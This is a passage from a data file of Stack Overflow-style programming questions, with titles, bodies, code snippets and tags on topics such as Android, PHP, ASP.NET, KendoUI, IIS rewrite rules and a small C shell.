cool, but breaks my app, as one minor example.\nDoes anyone know some best
practices/guidelines on how to integrate Sencha Touch 2 with rails 3.0 (not rails
3.1) especially using the command? \nThank you!\n", "sencha build", "ruby-on-
rails ruby-on-rails-3 sencha-touch sencha-touch-2"], "4116813": ["RDC to Windows
2000 Server from OS X 10.6.8 immediately crashes", "I'm using Remote Desktop
Connection 2.11 on Mac OS X 10.6.8, trying to connect to a Windows 2000 Server. I
type in the IP (local) and it warns me that it can't verify the identity of the
computer, I hit \"Connect\", it opens a black window (as if it were about to work)
then immediately crashes:\n\nAnyone have any ideas on what I can do to get it to
work? It works perfectly fine connecting to Win Server 2008 R2.\n", "Microsoft
Error Reporting log version: 2.0\n\nError Signature:\nException: EXC_BAD_ACCESS\
nDate/Time: 2012-02-28 09:22:46 -0800\nApplication Name: Remote Desktop Connection\
nApplication Bundle ID: com.microsoft.rdc\nApplication Signature: MSRD\nApplication
Version: 2.1.1.110309\nCrashed Module Name: TSClient\nCrashed Module Version: 1.0\
nCrashed Module Offset: 0x000b927f\nBlame Module Name: TSClient\nBlame Module
Version: 1.0\nBlame Module Offset: 0x000b927f\nApplication LCID: 1033\nExtra app
info: Reg=en Loc=0x0409 \nCrashed thread: 6\n", "macosx remote-desktop rdp windows-
2000"], "1288650": ["How to set symfony 1.x date format in text box of existing
object?", "I have a symfony 1.4 form and in it I have a single text box with a
datetime string. \nI am using jQuery's datetimepicker to simplify date entry
instead of having 5 selects.\nI already have defaulting the datetime string
correct, but I'm not sure how to format the datetime string when I am updating an
object. The string comes back as the default formatting (YYYY-mm-dd HH:ii:ss).\
nWhat is the proper way to format existing datetime strings for a symfony textbox?\
n", "", "php forms formatting symfony-1.4"], "3523979": ["Force Close on Changing
time: Time Picker (NPE)", "When I click on the time picker for changing the time I
get force close.\nCan anybody tell me where is the problem in my code. Android.\
nand this is my code......\n\nMy Logcat shows a NullPointerException:\n\n",
"timePickerDateTimePickerPopup = (TimePicker)
layoutDateTimePickerPopup.findViewById(R.id.timePicker_datetimepicker);\n
timePickerDateTimePickerPopup.setDescendantFocusability(TimePicker.FOCUS_BLOCK_DESC
ENDANTS);\n timePickerDateTimePickerPopup.setIs24HourView(true);\n
timePickerDateTimePickerPopup.setCurrentHour(mCalendar.get(Calendar.HOUR_OF_DAY));\
n
timePickerDateTimePickerPopup.setCurrentMinute(mCalendar.get(Calendar.MINUTE));\n\n
timePickerDateTimePickerPopup.setOnTimeChangedListener(this);\n\n
dateTimePickerPopup.setTouchable(true);\n
dateTimePickerPopup.setFocusable(true);\n
dateTimePickerPopup.setOutsideTouchable(true);\n Drawable image_saved =
context.getResources().getDrawable(R.drawable.dummy_bg);\n
dateTimePickerPopup.setBackgroundDrawable(image_saved);\n", "android
nullpointerexception forceclose"], "700117": ["PHP embed multiple mp3 tracks after
uploading using echo and <audio>", "I have my html5 form working to upload multiple
mp3 files with one submit button but I want them all to immediately appear (embed)
on the page with the tag. Currently I can only get one.\nQ: How do I set echo for
the other id's (audio-player2, audioplayer3 etc) to appear?\nI have tried adding a
second echo with the same stuff and substituting audio-player2 but it
(understandably) plays the same file. presumably because of (name=\"files[]\")\
nhere's the html:\n\n", "<form method=\"post\" enctype=\"multipart/form-data\">\n
<input type=\"file\" name=\"files[]\" multiple=\"multiple\">\n <input
type=\"submit\" value=\"upload!\">\n </form>\nhere's the php:\n<?php\nif
(isset($_FILES['files'])){\n foreach ($_FILES['files']['tmp_name'] as $key =>
$tmp_name){\n move_uploaded_file($tmp_name, \"uploaded/{$_FILES['files']
['name'][$key]}\");\n }\necho \"<br><audio preload controls
src='uploaded/{$_FILES['files']['name'][$key]}' id='audio-player1' name='audio-
player1'></audio><br>\";\n}\n?>\n", "php html5 audio embed echo"], "392604": ["YII
skips printing layouts", "I recently migrate from cPanel to Plesk. Everything
worked well in cPanel and in my development environment (WAMP), but in the new
server YII skips printing page
layout and prints only content.\nWhat is this problem? Anyone faced with this
behavior previously? \n", "", "yii cpanel plesk"], "4401328": ["Preferential
Sorting for Lists on Merge", "I have two lists of the same type of object.\nOne
list comes from the system administrators, and the other comes from the user
viewing the page.\nThese lists must be merged for viewing at some point and it is
likely that the value which the lists are sorted on will have conflicting values.\
nIs there a way to merge the two lists, and when identical values are found for
position, to give the lower (and therefore better) spot to the admin list?\
nEXAMPLE\n\n", "position", "c# generics sorting"], "4957392": ["Link Aggregation
between Xserve G4 running Leopard Server and Netgear GSM7224", "I've got a dual
1.33GHz G4 Xserve running Mac OS X 10.5.2 Server (I'll try upgrading to 10.5.7
shortly) with two Gigabit Ethernet NICs that is a backup storage server. I
attempted to configure it for Link Aggregation with our Netgear GSM7224 (running
firmware 6.2.0.14, current) Gigabit switch, but was unsuccessful. Never done this
before, so I'm probably missing something obvious.\nI plugged the two GigE NICs
into ports 7 & 8 on the GSM7224, set static IPs (.21 & .22 in my subnet) on the
them, then created a Link Aggregation port (bond0) w/static IP (.149, the original
static IP of the primary NIC) using System Preferences. bond0 listed as down,
saying there were no peers. \nAfter verifying that the GSM7224 supports 802.3ad
(LACP) Link Aggregation in the specs and going through the admin interface to
verify that it listed LACP as \"enabled\" on ports 7 & 8, I discovered that System
-> Switch -> Port Channel -> Configuration allowed me to manually create what I
think are Link Aggregation Groups (LAGs). I configured one for ports 7 & 8 w/link
trap enabled, administration enabled, STP mode enabled, and Static mode disabled.
This got bond0 to show as up and I was able to ping the static IP (.149), but no
other traffic would flow.\nI tried changing the static IP of bond0 to .20, setting
both NICs and bond0 to .20, and nothing allowed more than a ping to get through.
Ended up removing the Port Channel, deleting bond0, and reverted the primary NIC
back to a static IP of .149.\nI checked the GSM7224 documentation and the only info
about Link Aggregation explained how to create a Port Channel as I had done. Also,
the Mac OS X Server documentation was extremely dumbed down and only explains how
to add the Link Aggregation port, nothing about requirements or anything like
that.\nSome notes I found through Google implied I should not config the switch to
aggregate the two ports when using Mac OS X Server's Link Aggregation. This comment
on another serverfault question seems to imply that I had configured a LAG, but I
think I covered everything that it mentions (and would've been helpful before I got
as far as I did by trial and error).\nWhat do I need to do to get Link Aggregation
working between the Xserve and GSM7224? I have another file server that should get
Link Aggregation on this switch as well.\n", "", "networking macosx gigabit-
ethernet bonding"], "3477683": ["Redirect error when decorating Controller with
Custom AuthorizeAttribute", "I'm working on an asp.net MVC 4 app using VS 2011. I
have a custom role provider with a custom AuthorizeAttribute to determine the
user's roles that will redirect to an access denied page if they aren't a member of
the particular role. What I've done so far works when I decorate any controller
action with the custom attribute, but it fails with different errors in IE and FF
when I add the attribute to the controller. My custom attribute:\n\nI also add a
global attribute in RegisterGlobalFilters (I tried removing this but still get the
same issues):\n\nWhen I decorate an action with the attribute it works fine:\n\nBut
when I add it to the Controller it breaks completely:\n\nThe roles are returned
from my database via a repository which seems fine. In IE I get the
standard \"Internet Explorer cannot display the webpage\" error, and a pretty
strange one in Firefox:\n\nThe page isn't redirecting properly\n Firefox
has detected that the server is redirecting the request for this address in a way
that will never complete.\n\nThis problem can sometimes be caused by disabling or
refusing to accept\n cookies.\n\n\nIn IE the url remains at the Home url:\n\nbut
FF performs the redirect as the url changes to the view that I specify in the
attribute:\n\n", "public class AccessDeniedAuthorizeAttribute : AuthorizeAttribute\
n{\n public string RedirectActionName { get; set; }\n public string
RedirectControllerName { get; set; }\n private IAccountRepository
_accountRepository;\n\n protected override bool AuthorizeCore(HttpContextBase
httpContext)\n {\n var user = httpContext.User;\n
this._accountRepository = new AccountRepository();\n var accessAllowed =
false; \n var allowedRoles = this.Roles.Split(',');\n\n if (!
user.Identity.IsAuthenticated)\n {\n return false;\n }\n\n
// Get roles for current user\n var roles =
this._accountRepository.GetRoles(user.Identity.Name);\n\n foreach (var
allowedRole in allowedRoles)\n {\n if
(roles.Contains(allowedRole))\n {\n accessAllowed =
true;\n }\n }\n\n if (!accessAllowed)\n {\n
return false;\n }\n\n return base.AuthorizeCore(httpContext);\n }\
n\n public override void OnAuthorization(AuthorizationContext filterContext)\n
{\n base.OnAuthorization(filterContext);\n\n if
(filterContext.HttpContext.User.Identity.IsAuthenticated && filterContext.Result is
HttpUnauthorizedResult)\n { \n var values = new
RouteValueDictionary(new\n {\n action =
this.RedirectActionName == \"\" ? \"AccessDenied\" : this.RedirectActionName,\n
controller = this.RedirectControllerName == \"\" ? \"Home\" :
this.RedirectControllerName\n });\n\n filterContext.Result =
new RedirectToRouteResult(values);\n }\n }\n}\n", ".net asp.net-mvc
authentication authorization"], "4547680": ["How to test scale constraint in
grails", "In Grails domain class i have Field \n\nand constraint for it \n\nI like
to have test for scale constraint but don't know how to implement it\nFollowing not
works\n\n", "BigDecimal grossWeight\n", "unit-testing grails constraints"],
"4415319": ["Tips for using XCode 4", "\nPossible Duplicate:\nXcode 4 Tips and
Tricks for Xcode 3 users \n\nNow that XCode 4 is out of NDA, what are your favorite
tips and tricks? For example: I saw in a review that you can control drag from
objects in the new IB to your source files to make connections. \n", "", "xcode4"],
"3446928": ["Data structure for recognizing repeat values", "I am running a fairly
large search, and am getting a System.OutOfMemoryException.\nThe problem is I am
storing a string key for each state I have previously visited as a . Once this gets
to around 7 million elements, it crashes. My thought is that I don't need to be
able to retrieve the strings, only recognize if it exists in the set.\nI seem to
remember a specialized data structure for this kind of thing, but I can't remember
the name of it for the life of me. If I recall correctly it had fairly constant
memory requirements and you add elements to it, and it can tell you with some
degree of certainty whether you have already added some value to it. Am I making
this up, or does this exist. Any tips?\n", "HashSet<sting>", "c# data-structures"],
"37920": ["How to show text randomly chosen from list when button is pressed?", "I
am trying to develop an app in eclipse that when the button is clicked randomly
displays text from a string.\n", "", "java arrays string button"], "2743363":
["Azure VM: SQL Server database on OS Disk or Data Disk?", "I am busy migrating to
Azure Virtual Machines.\nShould my SQL Server database MDFs reside on the OS disk
or on a data disk (which, as far as I understand, is a page blob - also known as a
Azure Disk Drive)? \nI would have thought the data disk was the correct place, but
I've just read here that it is slower than the OS disk.\nFurthermore, if I use a
data disk then should the OS disk and data disk belong to the same storage account
container for increased performance?\n", "", "sql-server sql-server-2008 azure
cloud windows-azure-storage"], "5436902": ["Extending word Range or selecting next
control in WordAddin using c#", "I am working on a custom addin where i need to
read custom XML part and generate ribbon buttons accordingly.\nCode:\n\nIssue 1: \
nI get an exception saying \"Index out of bounds\". Source is \"Index\". This is
when i add second category to the CategoriesMenu.Items Collection.\nAfter adding a
category as soon as user clicks on a Category ribbonButton it will reach an event
handler where i get the senders tag using which i populate the fields assosciated
to the category. here is the code that does that. \nvoid button_Click(object
sender, RibbonControlEventArgs e)\n {\n var senderr = sender as
RibbonButton;\n AddFormFieldsForThisCategory(senderr.Tag.ToString());\
n }\n private void AddFormFieldsForThisCategory(string categoryId)\n {\n
foreach (var ffld in formFieldsList) //formFieldsList will have category specific
fields\n {\n AddRichTextControlAtSelection(ffld);\n
}\n }\n\nI have 5 fields for Category id=1. \nIssue 2:\nExpected is to
insert 5 fields on clicking category 1. But it inserts only first field and from
next it says that \"Selected region is a plain text control and cannot insert
another control inside it.\nCan someone answer these two issues?\nThanks
in advance.\n", "Microsoft.Office.Tools.Ribbon.RibbonMenu CategoriesMenu= new
RibbonMenu(); //(this is created using designer)\nCategoriesMenu.Dynamic=true;\nvar
categories= GetCategoriesFromXML();\nforeach(var cat in categories)\n{\
nRibbonButton categoryButton = CreateRibbonButton();\n//set properties for
ribbonbutton\n//attach event handler\ncategoryButton.Click += new
RibbonControlEventHandler(button_Click); \
nCategoriesMenu.Items.Add(categoryButton);\n}\n", "com ms-word vsto add-in office-
interop"], "4746868": ["Create linux environment in C using execl and fork()", "I
have created a program that acts like a Linux environment. You put in a command and
it does it for you.\n\nIt uses tokens to separate the parameters of the command. I
tried running it and it compiles and runs but doesn't do the command I want. I
think it might have something to do with the way it creates tokens. Any help would
be great. Thanks.\n", "#include <stdio.h>\n#include <string.h>\n\nint main()\n{\n\
nint pid;\nint status;\nprintf(\"Enter command: \");\nchar s[256];\
nfgets(s,256,stdin);\n\nconst char *a[5];\nint i = 0;\nchar* token =
strtok(s, \" \");\nwhile(token)\n{\n a[i] = strtok(s,\" \"); \n i++;\n}\n\
nwhile (a[0] != \"exit\")\n{\n if(a[0] = \"cd\")\n {\n chdir(a[1]);\n
}\n\n else \n {\n pid = fork();\n if (pid == 0)\n {\n
execvp(a[0],a);\n }\n if(pid > 0)\n {\n
wait(&status);\n }\n }\n\n}\nreturn 0;\n}\n", "c linux shell command
exec"], "698218": ["Monitor Outbound Webservice calls", "I'm currently debugging a
3rd party component and I need to monitor to see if it is making an outbound
webservice call. Does anyone know of a way of quickly setting up something to
monitor this as I step over the code. \n", "", "c# .net web-services network-
monitoring"], "196610": ["Castle Windsor lifecycle", "Currently, I'm trying to use
the WindsorContainer as a mean to get rid of Singletons in my program. After some
testing, I realised, that I need a way to keep the WindsorContainer throughout my
program, but how? The documentation isn't that good. Could anybody give me an
example of a way to use Castle Windsor to create a useable Container throughout my
whole program.\n", "", "c# castle-windsor"], "3213676": ["Google App Engine
App.yaml config for skip-files to ignore Mercurial files", "I have added a line at
the top of skip_files to make app engine deployment skip all files starting
with .hg such as the .hgignore file and the .hg directory. Will this ignore the
whole .hg directory and all its files and subdirectories?\nskip_files:\n-
^(./)?.hg$\n\n^(.*/)?app.yaml\n^(.*/)?app.yml\n^(.*/)?index.yaml\n^(.*/)?index.yml\
n^(./)?#.#\n^(./)?.~\n^(./)?..py[co]\n^(./)?./RCS/.*\n^(./)?..\n\n", "", "google-
app-engine mercurial yaml"], "4961484": ["The coefficent of x", "I was wondering if
this question is really teasing me.\n\n$f(x)=x^2+bx+c$, where $b=-17$ and $c=52$.
What is the coefficient of $x^2$ in the function $f(f(x))$?\n\nSo basically the
coefficent will be 1?\n", "", "algebra-precalculus"], "2990531": ["Android WebView
to a Javascript based website fails to resize to fit inside web view?", "I have a
webView which loads a web page (the website is m.wordnik.com). The web view fits
the screen at first for something like 2 seconds after it starts loading but then
suddenly the text no longer wraps and I am forced to scroll horizontally.\nBut when
I zoom in or zoom out, it wraps again (guessing it is because of the javascript)
and stays that way. I want it to do that automatically. I have tried to fix this
issue with and . Both have failed to solve the issue. \nThe website also does not
function properly on the phone browser also. What can I do to fix this?\n",
"setInitialScale(1)", "javascript android android-layout android-webview"],
"2823338": ["accessing members of boost:: tuple", "I am trying to implement a
vector like vector< boost::tuple<int,int,int> >day; I want to acess tuple's first
element to check a condition.\ncan someone please tell me how to do it? I am new to
boost.\nThanks in advance. \n", "", "c++ boost"], "1457132": ["Print into file",
"After my previous question that was ansered here , I can manage to print the pages
I need but with a small problem. With Jtable.print there is always appear a window
with the preferences for printing , select printer even print in a file the
resaults.\nWith the pj.print() I got an outcome to my printer when ever is
connected and no other promt before . I tried pj.printDialog(); and gives me the
prompt window with printers etc but nor the normal printer or the the print to file
gives a resault. \nWhat am I doing wrong? \nThank you!\n", "", "java ubuntu
printing jtable"], "3351393": ["Add or Remove Grid (KendoUI)", "I'm trying to
recreate the grid on this page every 30 seconds or so. What i do empty the
div \"grid-users\" and do a call to the server. It returns me a JSON with the
reconstructed table (but with updated rows), so I put it back inside the div.\nThe
table shows find, but in the same setInterval block, once the table is back in the
div, I try to make the grid and its controls on Kendo.\n\nFor some reason, the grid
and the controls don't get to Kendo once the table is reconstructed. Can someone
tell me why? Am I doing something wrong? =S \n", "{% extends
\"saloons/templates/base.html\" %}\n{% from \"ui/forms/macro.html\" import wtform
%}\n{% block content %}\n <form id=\"form1\" method=\"POST\" action=\"\">\n
<br/><br/>\n <div id=\"total\" align=\"right\">Total de pedidos en soles:
S/.<div id=\"num\" style=\"display:inline\"></div></div>\n <div id=\"fecha\"
align=\"left\">Fecha: <input type=\"text\" id=\"search_date\"
name=\"search_date\" />\n <button id=\"filter\" name=\"filter\"
type=\"submit\">Filtrar</button>\n </div>\n <br/><br/><br/><br/>\n
<div id=\"grid-users\" class=\"grid-content\" style=\"text-align: center; width:
100%!important\">\n <table id=\"grid\">\n <thead>\n <tr>\n
<th data-field=\"number\" style=\"text-align: center\">Nro.</th>\n <th
data-field=\"item\" style=\"text-align: center\">Articulo</th>\n <th
data-field=\"requester\" style=\"text-align: center\">Solicitante</th>\n
<th data-field=\"client\" style=\"text-align: center\">Cliente</th>\n
<th data-field=\"price\" style=\"text-align: center\">Precio</th>\n <th
data-field=\"date\" style=\"text-align: center\">Fecha del Pedido</th>\n
<th data-field=\"status\" style=\"text-align: center\">Estado</th>\n <th
data-field=\"save\" style=\"text-align: center\">Guardar Estado</th>\n
</tr>\n </thead>\n <tbody id=\"pedidos\">\n {% for i in
orders %}\n <tr id=\"{{ i.id }}\">\n <td>{{loop.index}}</td>\
n <td>{{ i.ItemName }}</td>\n <td>{{i.user()}}</td>\n
<td>{{i.tab.user}}</td>\n {% if i.isInventory %}\n <td>S/. {{
i.ItemPrice }}</td>\n {% else %}\n <td><input type=\"text\"
id=\"price{{ i.id }}\" value=\"{{ i.ItemPrice }}\"/></td>\n {% endif %}\
n <td>{{ i.dateOrder }}</td>\n <td>\n <select
id=\"cmb{{ i.id }}\">\n <option value=\"PENDIENTE\"
selected=\"true\">PENDIENTE</option>\n <option
value=\"ATENDIDO\">ATENDIDO</option>\n <option
value=\"DENEGADO\">DENEGADO</option>\n </select>\n </td>\n
<td><a href=\"#\" id=\"{{ i.id }}\" rel=\"save\">Grabar</a></td>\n
</tr>\n {% endfor %} \n </tbody>\n\n </table>\n
</div>\n </form>\n <script> \n $(function() {
\n $(\"a[rel=save]\").live('click', function() {\n var id = $
(this).attr('id');\n\n var p = $
(this).parent().parent().find(\"td:eq(4)\").html();\n var p2 =
p.substring(4, p.length);\n var p3 = parseFloat(p2);\n\n if
(isNaN(p3) == true)\n {\n p3 = $(\"#price\"+id).val();\n
}\n var a = $(\"#cmb\"+id).val();\n if (a == 'PENDIENTE')\n
{\n alert('Debe cambiar el estado del pedido');\n }\n
else\n {\n var res = confirm(\"Est\u00e1 seguro de este
cambio de estado?\");\n if (res){\n
$.post(\"check_order\",{status : a, cod : id, price : p3, flag : true},
function(data) {\n var d = JSON.parse(data);\n if (!
d.cancel){\n $(\"#cmb\"+id).parent().parent().parent().remove();\n
$(\"#pedidos tr\").each(function(i, v){ \n
if (i+1 > 0) {\n $(this).find(\"td:first\").html(i+1);\n
}\n });\n $(\"#num\").text(d.total);\n
}\n else{\n alert(\"El pedido que trata de
actualizar ha sido cancelado. Refrescando pagina...\");\n
parent.location.href = parent.location.href;\n }\n });\
n }\n }\n return false;\n });\n\n\n
$(\"#fecha\").attr('class', 'k-header');\n $(\"#fecha\").css({'width' :
'290px',\n 'float' : 'left'});\n\n var f = new
Date(\"{{ f }}\");\n\n $(\"#search_date\").kendoDatePicker({\n
value: new Date(f),\n format: \"dd/MM/yyyy\",\n
name: \"search_date\"\n });\n\n $
(\"#search_date\").attr('readonly', 'readonly');\n $
(\"#grid\").kendoGrid({\n height: 460,\n sortable: false,\n
columns: [{field:\"number\", width:40},\n {field:\"item\",
width:80},\n {field:\"requester\", width:80},\n
{field:\"client\", width:80},\n {field:\"price\", width:100},\n
{field:\"date\", width:100},\n {field:\"status\", width:120},\n
{field:\"save\", width:80}]\n\n });\n\n var arr = [];\n
$('a[rel=save]').each(function(){\n arr.push($(this).attr('id'));\n
});\n\n for(i =0; i<arr.length;i++)\n {\n $(\"#pedidos
tr\")\n .find(\"td:eq(4)\")\n .children(\"#price\" + arr[i])\
n .kendoNumericTextBox({\n min:0,\n max:150,\n
decimals:2,\n upArrowText:\"Aumentar\",\n
downArrowText:\"Disminuir\",\n format: \"c\"\n });\n
}\n\n $(\"#total\").css({'border-style' : 'solid',\n
'border-width': '3px',\n 'padding' : '10px',\n
'width' : '300px',\n 'float' : 'right',\n 'font-
size' : '16px',\n 'font-weight' : 'bold'});\n $
(\"#num\").text(\"{{ total_orders }}\");\n $(\"#total\").attr('class', 'k-
header');\n //FIXME: El combo en KendoUI debe integrar las opciones
originales del combo\n $(\"#pedidos tr\").each(function(i,v) {\n
$(this).find(\"td:eq(6)\").children(\"select\").kendoDropDownList();\n });\
n\n setInterval(function(){\n $(\"#grid-users\").empty();\n
$.getJSON(\"/cafe/uco\", function(json){\n $(\"#grid-
users\").html(json.ord);\n });\n\n console.log($(\"#grid\"));\n
$(\"#grid\").kendoGrid({\n height: 460,\n sortable: false,\n
columns: [{field:\"number\", width:40},\n {field:\"item\",
width:80},\n {field:\"requester\", width:80},\n
{field:\"client\", width:80},\n {field:\"price\", width:100},\n
{field:\"date\", width:100},\n {field:\"status\", width:120},\n
{field:\"save\", width:80}]\n\n });\n\n var arr2 = [];\n
$('a[rel=save]').each(function(){\n arr2.push($(this).attr('id'));\n
});\n\n for(i =0; i<arr2.length;i++)\n {\n $(\"#pedidos
tr\")\n .find(\"td:eq(4)\")\n .children(\"#price\" + arr[i])\
n .kendoNumericTextBox({\n min:0,\n max:150,\n
decimals:2,\n upArrowText:\"Aumentar\",\n
downArrowText:\"Disminuir\",\n format: \"c\"\n });\n
}\n\n $(\"#pedidos tr\").each(function(i,v) {\n $
(this).find(\"td:eq(6)\").children(\"select\").kendoDropDownList();\n });\
n\n },10000);\n });\n </script>\n{% endblock %}\n", "jquery ajax
json grid kendo-ui"], "3215892": ["Can calling Abort() on an IClientChannel proxy
throw an exception?", "Based on documentation and articles it is recommended to
call Abort() on a client proxy if an unexpected exception/fault is encountered. See
the following (simplified):\n\nIs there any possibility of the call to Abort()
throwing an exception itself? Should the call to Abort() be within its own
try/catch?\n", "MyServiceClient proxy = null;\ntry {\n proxy = new
MyServiceClient();\n proxy.DoSomething();\n proxy.Close();\n} catch
(Exception ex) {\n if (proxy != null)\n proxy.Abort();\n}\n", "wcf proxy
close wcf-client abort"], "590863": ["Accessing Android resource from external
package", "I would like to read a drawable image from an external package into a
bitmap. For example, in package com.test.images I have an image called image1.png
under the drawable-hdpi folder. I would like to read that image into a Bitmap
object from another package, for example com.test.reader. Can someone give a
solution?\nI can use the getResourcesForApplication(packageName) to get access to
the resources of the external package, but the resources object I get only has a
getDrawable method; I want to get a Bitmap for the image.\nThanks\n", "", "android
drawable"], "4010678": ["Spry Accordion Not Working Properly Because Of A
JavaScript Issue", "I am using a template site that I have modified already. One of
the pages on the site uses a handful of javascript files to create some great
effects. This page can actually be seen online at
http://themanhattanwatercompany.com/productstestpage.html. When this page first
loads it displays all the items we provide, each item is a list item that is
manipulated by a Javascript file to move around as you click on the different
product types on the menu bar above. Now each list item has an ID that allows it to
be specifically pulled up when you click on the menu items. example if you click
coffee all coffee items will be displayed and if you click on equipment all
equipment items will be displayed. \nSo I wanted to add a detailed description of
all the items we have in a spry accordion. But I want a different spry accordion to
display when different menu bar items are selected, such as coffee I want a spry
accordion to appear with all the coffee items in it, if you click on equipment i
want a spry accordion to appear listing all the equipment. So I added the accordion
as a list item because that is the only way the current JavaScript file will be
able to identify which spry accordion to display when a different menu item was
selected. I did this successfully.\nThe problem here is that when the page is first
loaded and all the items are displayed as well as the spry accordion, the spry
accordion works fine. And when I click on the different menu items the program
pulls up the proper spry accordions as well which is what i want, BUTTTT once i
click on a different menue item after the page loads the spry accordions aren't
working. they are just being displayed but the don't expand or close does anyone
know why???? I feel that the JavaScript that is manipulating the page once a menu
item is selected after the initial page load up is blocking the spry accordion
JavaScript.\nIf you look at the page source code you can see the JavaScript files
and everything else can someone help.\n", "", "javascript dreamweaver spry"],
"3525441": ["QSettings how to save QMap<QString,int> into configuration file",
"After reading Save to , I'm tring to do the same with . I would like the
configuration file to look like this:\n\nBut I'm getting a compilation error:\n\n",
"QList<int>", "c++ qt"], "4374627": ["How do I check if a page is Google cached in
Perl?", "I tried lots of modules, seems like nothing works well.\nDo you have any
idea how to check if a page I supply, for
example:\nhttp://bloggingheads.tv/forum/member.php?u=12129\nIs available on google
cache?\nI'm using Perl.\n", "", "perl google google-api"], "199504": ["Long list of
bib-files in texmaker", "I have got a long list of bib-files\n\nMy problem is two-
fold:\n(i) First, it seems that the argument of \\bibliography must not contain
linebreaks, so I really have to write a huge list of bibfiles in one single line.
This does not make the code more readable, so is there a way work around this?\
n(ii) Second, I use Texmaker 3.2 on my system. However, it seems the editor
component of Texmaker doesn't let me edit my code beyond a certain column position,
although it still shows my code. I regard this as very annoying and I would like to
know whether this can be corrected somehow?\n", "\\bibliographystyle{siam}\n\\
bibliography{../mybib/bibA,../mybib/bibB,../mybib/bibC, and so on }\n", "bibtex
texmaker"], "2444383": ["xcode 4.5 Application windows are expected to have a root
view controller at the end of application launch", "I just started developing a
game for my new iphone 5 but every time I build it to my device I get this warning
in the console.\n\nI searched the web for a fix but everything I was finding said
to put this line of code:\n\nIn this method:\n\nBut the problem with this is that
line of code had to be commented out in cocos2d because it was causing the
application to start up in portrait mode no matter what orientation was selected.
So does anyone know of a fix for this?\n", "Application windows are expected to
have a root view controller at the end of application launch\n", "cocos2d-iphone
ios6 xcode4.5 kobold2d"], "289820": ["PHP simple daemon without using pcntl_fork",
"Part of my web application is a background script that polls from a beanstalkd
server and process data.\nThis script needs to run continuously (like a daemon). If
it crashes, it needs to be started again. It also can't be started twice (more
precisely run twice).\nAs I want to ease the deployment and development process, I
want to avoid using . It's not available on Windows, it necessitates recompiling
PHP on Mac, sometimes on Linux too...\nCan I do this simply using a bash script to
launch the PHP script in background?\n\nIf I execute this batch with crontab every
hour or so, my process should run continuously and be restarted in maximum one hour
if it crashes?\n", "pcntl_fork", "php bash cron daemon background-process"],
"611969": ["Strict standards warning: Singleton implementation with PHP", "I have
created a logger as a singleton for my PHP application with Zend framework.\
nImplementation is pretty straight-forward:\n\nTo ad an entry to the log, I just
call static method:\n\nLogger works as supposed to, but since I have upgraded my
PHP version to 5.4.3 I get an error:\n\nStrict standards: Accessing static property
Logger::$_logger as non static in Z:\\Software\\PHP\\EA Game\\application\\
classes\\Logger.php on line 28\n\nLine 28 is in function : \nI can always disable ,
but it is not
a preferable option.\nI would like to implement Singleton pattern without getting
Strict standards warning.\nI would be grateful if some could point me in the right
direction to implementing Singleton pattern without getting String standards
warning.\nEDIT:\nI used jValdrons advice and replaced $this->_logger to self::
$_logger.\nI still was getting strict standards warning and I changed Log function
to be as follows:\n\nBut now I have another problem.\nCode does not throw Strict
standards warning, but it does not works as supposed to.\nI have 2 separate
loggers, 1 for application and 1 for crons.\nBasically it's just the same code:\n2
static variables:\n\nconstructor initializes both of them:\n\nand 2 methods
GetCronLogger() and LogCron():\n\nBut now self::getCronLogger()->log($message,
$logType); calls my method Log(), not Zend_log->log() and it will always add
records to my main logger, not crons logger.\nAm I missing something or calling
something in incorrect way?\n", "class Logger\n{\n protected static $_logger;\n\
n private function __construct()\n {\n // initialize logger\n
$writer = new Zend_Log_Writer_Stream(LOG_PATH);\n $this->_logger = new
Zend_Log($writer);\n }\n\n public static function getLogger()\n {\n
if (null === self::$_logger)\n {\n self::$_logger = new self();\n
} \n return self::$_logger;\n }\n\n public static function
Log($message, $logType)\n {\n if ($logType <= LOG_MAX)\n {\n
$logger = self::getLogger(); \n $logger->_logger->log($message,
$logType);\n }\n }\n}\n", "php singleton standards strict"], "2971377":
["TeamCity Nuget feed via IIS/ARR/URLRewrite", "Versions:\n\nWindows Server 2008 R2
SP1\nTeamCity 7.0.2\nTomcat 7.0.27\nIIS 7.5\nARR 2.5\nURL ReWrite 7.2.2\n\nTeamCity
is installed into a pre-existing TomCat installation as a JavaEE WAR.\nIIS has been
successfully setup to reverse proxy calls for TeamCity. My rewrite rule is below:\
n\nI have no problem logging into TeamCity from a remote host and
using/administering it.\nHowever, when I enable the built-in NuGet server, I
encounter a frustrating issue.\nTrying to access the nuget feed from any remote
host proxying through IIS gives me an HTTP 404 error. The 404 error comes from IIS.
When I remove the final path part from the url, the 404 error comes from Tomcat.\
nExample:\n\nhttp://proteus.pointloma.edu/TeamCity/guestAuth/app/nuget/v1/
FeedService.svc from any host gives an provided IIS 404
error.\nhttp://proteus.pointloma.edu/TeamCity/guestAuth/app/nuget/v1/ from any host
gives a TomCat 404
Error.\nhttp://localhost:8080/TeamCity/httpAuth/app/nuget/v1/FeedService.svc from
the server where TeamCity is installed provides the feed correctly.\n\nSo,
somewhere I am having issues with IIS respecting a redirect with *.svc files, but
for the life of me, I cannot figure out why, or where this is set.\nAny help is
greatly appreciated.\n", "<rule name=\"TeamCity Redirect\"
stopProcessing=\"true\">\n <match url=\"^(TeamCity.*)\" />\n <action
type=\"Rewrite\" url=\"http://localhost:8080/{R:1}\" logRewrittenUrl=\"true\" />\
n</rule>\n", "iis arr teamcity"], "3460733": ["Focus window created by PowerShell
script", "I can display a simple Visual Basic inputbox from a PowerShell script
like this:\n\nHowever, the inputbox window does not get focus which remains with
the PowerShell window.\nIs there a way to give focus to the inputbox window?\n",
"$null = [reflection.assembly]::loadwithpartialname(\"microsoft.visualbasic\")\
n$input = [microsoft.visualbasic.interaction]::inputbox($question, \"bla\", $text)\
n", "powershell inputbox"], "1767179": ["If my photo is \"copied\" through a
painting, is that a legal?", "Are both scenarios legal?\n\nI own a photo, and
someone painted a\nreplica (using canvas and paints) and\nsold prints. \nSomeone
altered it using\nPhotoshop to look like a painting and\nsold prints.\n\nDo I need
to copyright my pictures to prevent this?\n", "", "legal copyright"], "5124286":
["MongoDB : What is preferable , process on server or on client?", "I work this the
.NET driver for MongoDB.\nMy question is quite :\nWhat is preferable and why : \
nprocess data using javascript on the MongoDB server\nor\nload thd data to client
and do all the work using the driver methods ?\n", "", "mongodb"], "4488027":
["Server page redirected to Filer before Login", "I have just deployed an
Application which has a login page. Upon logging in with the \"right\" password and
